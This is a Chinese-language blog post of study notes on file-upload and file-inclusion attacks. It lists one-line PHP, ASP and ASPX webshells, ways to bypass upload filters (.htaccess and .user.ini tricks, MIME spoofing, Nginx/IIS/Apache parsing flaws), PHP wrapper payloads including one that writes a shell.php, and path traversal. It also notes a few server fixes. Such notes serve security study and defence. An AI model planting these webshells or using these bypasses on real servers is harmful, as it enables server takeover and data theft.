文件上传笔记整理
发布时间:2024年01月22日
-
文件上传
- 通过上传webshell文件到对方的服务器来获得对方服务器的控制权
-
成功条件
-
文件上传的流程
-
常用的一句话木马
-
php
- <?php @eval($_GET['cmd']);?>
- <?php @eval($_POST['cmd']);?>
- <?php @eval($_REQUEST['cmd']);?>
-
asp
- <% eval request('cmd') %>
-
aspx
- <%@ page Language ="Jscript" %><% eval (Request.Item["pass"],"unsafe");%>
-
文件上传的几种情况
-
前端JS绕过(验证文件后缀)
- F12检查页面代码,删除/修改检测函数(火狐支持,谷歌有代码保护)
- F12检查页面代码,替换JS文件(检查窗口不能关闭)
-
后端MIME类型绕过(验证MIME类型)
- BP抓包后通过MIME类型爆破得到通过的MIME类型,后缀名修改
-
后端文件后缀名验证+文件内容验证
-
黑名单验证
- 如果对方是Apache服务器,可以尝试上传.htaccess文件,设置该文件夹下的文件都进行php解析(对方不过滤.htaccess文件且不修改文件名称时用)
- <FilesMatch "1.jpg">SetHandler application/x-httpd-php</FilesMatch> (指定文件1.jpg用php解析)
- SetHandler application/x-httpd-php (当前目录下所有文件都通过php解析)
- user.ini文件绕过
- .user.ini所在目录中的所有php文件解析时都包含1.php;相当于加上了include(./1.png);文件具体路径可以自己设置
- auto_prepend_file=1.png;开头被包含
- auto_append_file=1.png; 结尾被包含
-
解析漏洞(服务器对某些特殊文件按脚本格式处理而产生的漏洞)
-
Nginx
- 空字节代码执行漏洞(<8.03版本)( 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37)
- cgi.fix_pathinfo问题
- 解释:例如/info.jpg/1.php/2.zhide
- 先找/info.jpg/1.php/2.zhide文件;没找到则把/info.jpg/1.php作为文件查找;找到则用/inifo.jpg/1.php作为/info.jpg/1.php/2.zhide执行;还没找到则依次类推
- 绕过方法(通过上传图片马;在图片的url路径结尾加上/1.php即可解析图片马)
- 解决方式:
- 设置php.ini中的 cgi.fix_pathinfo=0;
- 高版本设置security.limit_extensions = .php;限制php文件执行
-
IIS
- IIS5.x~IIS6.x
- test.asa/ test.cer/ test.cdx/
- IIS7.x
- 任何文件后面加上/.php就会以php进行解析;直接在url中加就行
- 解决方法:设置php.ini中cgi.fix_pathinfo=0;并重启php-cgi程序
-
Apache
- 2.4.0~2.4.29
- $可以匹配\n \r等字符;(换行解析漏洞)
- 允许多个后缀且从右往左识别后缀名(多个后缀识别解析漏洞)
- test.php.php123 (从右往左进行判断解析)
- Add Handler解析漏洞
- 如果用户手动设置了.php文件的解析
- AddHandler php5-script .php
- test2.php.jpg绕过;后缀存在php就用php进行解析
- AddType application/x-httpd-php .jpg (即使扩展名是jpg也一样用php解析)
-
文件包含
-
php伪协议
- allow_url_fopen默认开启 allow_url_include默认关闭
- 常用的伪协议示例
-
php://
- 常用
-
php://filter/read=convert.base64-encode/resource=./index
- 参数格式
- resoure=<要过滤的数据流> 必须参数,指定筛选过滤的数据流
- read=<读链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
- write=<写链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表>
- filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=
- 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
-
php://input+POST请求内容(具体内容必须写在POST请求体中)
- 元数据的只读流;allow_url_include=On时可用
- 注:当enctype=”multipart/form-data”时,php://input是无效的。
- php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
-
https/http://+url地址
- allow_url_include=On;allow_url_open=On;
-
压缩流
- zip://压缩文件绝对路径%23压缩包中文件名
- zip://D:\phpstudy_pro\WWW\123.com\text.zip%23text.txt
- compress.bzip2://[文件绝对路径|文件相对路径]
- compress.zlib://[文件绝对路径|文件相对路径]
- phar://[文件绝对路径|文件相对路径]/[子文件名称]
-
data://text/plain 具体命令
- allow_url_fopen=On allow_url_include=On
- data://text/plain;base64,<执行代码的base64编码> | data://text/plain,<执行的代码>
-
文件包含防御
- allow_url_include和allow_url_fopen关闭;
- 对用户包含的文件进行限制,如白名单、open_basedir;
-
文件下载
- 抓取能下载的文件路径;尝试利用../操作来获取对方未允许下载的文件
-
小技巧
- WINDOWS系统对大小写不敏感,Linux对大小写敏感(可以尝试对网址大小写修改判断对方操作系统)
- 通过修改登录页面index文件的后缀名判断网站的编程,如.php、.asp、.jsp(能运行表示使用该编程语言)
-
文件上传绕过步骤(大致思路)
- 乱码后缀检测对方的验证方式(确认黑名单还是白名单)
文章来源:https://blog.csdn.net/I_WORM/article/details/135737799
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:chenni525@qq.com进行投诉反馈,一经查实,立即删除!